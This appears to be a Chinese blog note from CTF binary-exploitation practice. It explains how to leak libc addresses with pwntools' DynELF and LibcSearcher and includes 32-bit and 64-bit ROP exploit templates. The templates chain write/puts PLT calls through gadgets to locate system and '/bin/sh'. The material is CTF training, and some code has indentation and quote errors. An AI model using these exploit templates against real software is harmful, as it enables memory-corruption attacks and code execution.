泄漏地址总结(Dynelf & LibcSearcher)

Dynelf泄漏modeul

32位

p = process('./xxx')

def leak(address): #address指要泄露的地址
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  #print "%#x => %s" % (address, (data or '').encode('hex'))
  return data
  
d = DynELF(leak, elf=ELF("./xxx"))     
 #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  
#在libc文件中搜索system函数的地址

主要使用条件:

1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

这里利用write函数泄露system地址

①从内存中dump出4字节数据(system地址),函数执行结束后返回main函数重新执行
②补充知识点,write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)
给个example
结合DynELF构造代码:

def leak(addr):
    payload = offset+p32(write_plt)+p32(main_addr)+p32(1) +
p32(addr) + p32(4)
   p.recvuntil('Welcome to XDCTF2015~!\n')
   p.send(payload)
   data = p.recv(4)
   print "%#x => %s" % (addr, (data or '').encode('hex'))
   return data
   
   d = DynELF(leak, elf = elf)
   system_addr= d.lookup('system', 'libc')

**LibcSearcher**
(这里是在泄漏出某个函数的地址以后,要么libcsearcher查其他地址,要么直接在我给的网址查offset

#利用LibcSearcher获取libc版本
libc = LibcSearcher(‘write’, write_addr)
offset = write_addr - libc.dump(‘write’)
system_addr = offset + libc.dump(‘system’)
binsh_addr = offset + libc.dump(‘str_bin_sh’)

64位

#!/usr/bin/python
#coding:utf-8
 
from pwn import*
 
 
start_addr=0x400550
pop_rdi=0x400763
gadget1=0x40075a
gadget2=0x400740
binsh_addr=0x60107c
 
 
 
 
io=process("./pwn100")
elf=ELF("./pwn100")
 
puts_addr = elf.plt['puts']
read_got = elf.got['read']
 
def leak(addr):
	count=0
	up=''
	content=''
	payload='a'*72
	payload+=p64(pop_rdi)
	payload+=p64(addr)
        payload += p64(puts_addr)
	payload+=p64(start_addr)
	payload=payload.ljust(200,'a')
	io.send(payload)
	io.recvuntil("bye~\n")
	while True:
		c=io.recv(numb=1,timeout=0.1)
		count+=1
 
		if up == '\n' and c == "": 
			content=content[:-1]+'\x00'
			break				
		else:
			content+=c
			up=c
	content=content[:4]
        log.info("%#x => %s" % (addr, (content or '').encode('hex')))
	return content
 
 
 
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)

这个模版蛮好用的
还是不太懂,不过这个blog给的模版基本知道了

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn

你可能感兴趣的:(任务)